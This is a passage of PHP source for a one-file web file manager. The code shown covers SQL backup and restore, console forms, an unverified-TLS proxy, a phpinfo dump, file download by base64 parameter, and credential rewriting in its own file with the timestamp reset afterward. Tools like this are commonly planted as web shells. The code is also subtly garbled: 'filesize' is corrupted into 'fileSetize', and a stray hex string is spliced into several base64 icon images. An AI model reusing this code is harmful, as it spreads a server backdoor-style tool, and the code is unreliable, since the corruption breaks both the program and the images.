		         $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		         }
		         $return.="\n\n\n";
	}


                            
	//save file

    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');
                        
	fwrite($handle,$return);
	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
                              
}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");

    $sqlFile = fread($f,fileSetize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);

	
    //Process the sql file by statements
                                     
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){

		         	$result = $mysqldb->query($stmt);

		         		         if (!$result){

		         		         	$sqlErrorCode = mysqli_errno($mysqldb->connection);

		         		         	$sqlErrorText = mysqli_error($mysqldb->connection);
		         		         	$sqlStmt      = $stmt;

		         		         	break;

           	     }

           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

                                        
function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
                                   
}


                                      
function fm_home_style(){
                         
	return '

input, input.fm_input {
	text-indent: 2px;
}
                          

                          
input, textarea, select, input.fm_input {
                                     
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;
                                       
	background-color: #FCFCFC none !important;

	border-radius: 0;
                                 
	padding: 2px;

}



input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}
                                      


.home {
                        
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}



function fm_config_checkbox_row($name,$value) {

	global $fms_config;
                          
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
                         

                            
function fm_protocol() {
                                       
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];

}
                            


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);

}
                         

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}

function fm_run_input($lng) {
                          
	global $fms_config;
	$return = !empty($fms_config['enable_'.$lng.'_console']) ? 

	'

		         		         <form  method="post" action="'.fm_url().'" style="display:inline">
                          
		         		         <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

		         		         </form>

' : '';
	return $return;
}
                          


function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
                                 
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {

		         $link = substr_replace($link,fm_protocol(),0,2);
                           
	} elseif (substr($link,0,1)=='/') {

		         $link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {

		         $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		         //alles machen wunderschon
                                 
	} else {

		         $link = $host.$link;
	} 
                                        
	if ($matches[1]=='href' && !strripos($link, 'css')) {

		         $base = fm_site_url().'/'.basename(__FILE__);
                            
		         $baseq = $base.'?proxy=true&url=';
                           
		         $link = $baseq.urlencode($link);
                            
	} elseif (strripos($link, 'css')){

		         //как-то тоже подменять надо
                              
	}

	return $matches[1].'="'.$link.'"';
                        
}

 

function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
                                     
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
                                        
		         $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
                                       
</form>
                           
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
                               
</form>

</table>

';

}
                         


function find_text_in_fileSet($dir, $mask, $text) {
                                  
    $results = array();

    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;

                if (is_dir($path)) {

                    $results = array_merge($results, find_text_in_fileSet($path, $mask, $text));
                                   
                } else {

                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);

                        }
                    }

                }
                                  
            }
        }

        closedir($handle);

    }

    return $results;

}




/* End Functions */
                                  


// authorization
                                 
if ($auth_local['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){

		         if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) {

		         	setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization']));
		         	$_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']);

		         }

	}

	if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) {
		         echo '

<!doctype html>
<html>
<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />
                                 
<title>'.__('File manager').'</title>
                                
</head>

<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language).'
                                       
</body>
</html>
                                
';  
die();
                            
	}
	if (isset($_POST['quit'])) {

		         unset($_COOKIE[$auth_local['cookie_name']]);

		         setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization']));
		         header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                  
	}
                                
}



// Change config
if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		         unset($_COOKIE['fm_config']);
                              
		         setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization']));
                                        
		         header('Location: '.fm_url().'?fm_settings=true');

		         exit(0);
                                  
	}	elseif (isset($_POST['fm_config'])) { 

		         $fms_config = $_POST['fm_config'];

		         setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization']));
		         $_COOKIE['fm_config'] = serialize($fms_config);
		         $msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 

		         if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		         $fm_login = json_encode($_POST['fm_login']);
		         $fgc_check = file_get_contents(__FILE__);
		         $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);

		         if (!empty($matches[1])) {
		         	$filemtime = filemtime(__FILE__);
		         	$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                            
		         		         $msg .= __('File updated');
		         		         if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
		         		         if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
                            
		         		         $auth_local = $_POST['fm_login'];
                                        
		         	}
		         	else $msg .= __('Error occurred');
		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		         }

	} elseif (isset($_POST['tpl_edited'])) { 
		         $lng_tpl = $_POST['tpl_edited'];

		         if (!empty($_POST[$lng_tpl.'_name'])) {
		         	$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		         } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

		         	$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		         }
		         if (!empty($fm_php)) {

		         	$fgc_check = file_get_contents(__FILE__);
		         	$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
		         	if (!empty($matches[1])) {

		         		         $filemtime = filemtime(__FILE__);

		         		         $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check);
		         		         if (file_put_contents(__FILE__, $replace)) {
		         		         	${$lng_tpl.'_templates'} = $fm_php;

		         		         	$msg .= __('File updated');

		         		         } else $msg .= __('Error occurred');

		         		         if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                             
		         	}	

		         } else $msg .= __('Error occurred');
                                
	}

}

                                        
// Just show image

if (isset($_GET['img'])) {
                             
	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){
                                  
		         switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

		         	case 1: $ext='gif'; break;
                                        
		         	case 2: $ext='jpeg'; break;

		         	case 3: $ext='png'; break;
		         	case 6: $ext='bmp'; break;
		         	default: die();
                            
		         }
		         header("Content-type: image/$ext");
                             
		         echo file_get_contents($file);
                              
		         die();

	}

}
                                  


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);
	fm_download($file);	

}



// Just show info
                                 
if (isset($_GET['phpinfo'])) {

	phpinfo(); 
	die();

}


                         
// Mini proxy, many bugs!
                                        
if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) {
                                   
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
                         
	<input type="hidden" name="proxy" value="true">
                                 
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {
                                 
		         $ch = curl_init($url);

		         curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		         curl_setopt($ch, CURLOPT_HEADER, 0);

		         curl_setopt($ch, CURLOPT_REFERER, $url);
                            
		         curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		         $result = curl_exec($ch);

		         curl_close($ch);

		         //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		         $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		         $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		         echo $result;
                            
		         die();

	} 

}
?>
<!doctype html>

<html>
<head>     

	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />

    <title><?=__('File manager')?></title>
<style>

body {

	background-color:	white;
                               
	font-family:		         Verdana, Arial, Helvetica, sans-serif;
	font-size:		         	8pt;
                                   
	margin:		         		         0px;
}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

                               
table.bg {

	background-color: #ACBBC6

}
                        


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:		         		         25px;

	background-color:	#006699;

	color:		         		         #FFA34F;
                         
	font-weight:		         bold;
                               
	font-size:		         	11px;

}



.row1 {
	background-color:	#EFEFEF;

}



.row2 {

	background-color:	#DEE3E7;
                                   
}

                                        
.row3 {
	background-color:	#D1D7DC;
                            
	padding: 5px;
                                  
}


                                  
tr.row1:hover {

	background-color:	#F3FCFC;

}


                                    
tr.row2:hover {

	background-color:	#F0F6F6;
}
                                


.whole {

	width: 100%;

}


                                        
.all tbody td:first-child{width:100%;}



textarea {
                           
	font: 9pt 'Courier New', courier;

	line-height: 125%;
	padding: 5px;
                                        
}

                               
.textarea_input {

	height: 1em;

}
                                


.textarea_input:focus {
                          
	height: auto;

}


input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}
                        


.folder {

    background-image: url("data:image/png;base64,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");
                                    
}
                                        

.file {
                            
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+TP3gq7ZE3gXp326HscLJFTEhAf5o36Azkv/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3E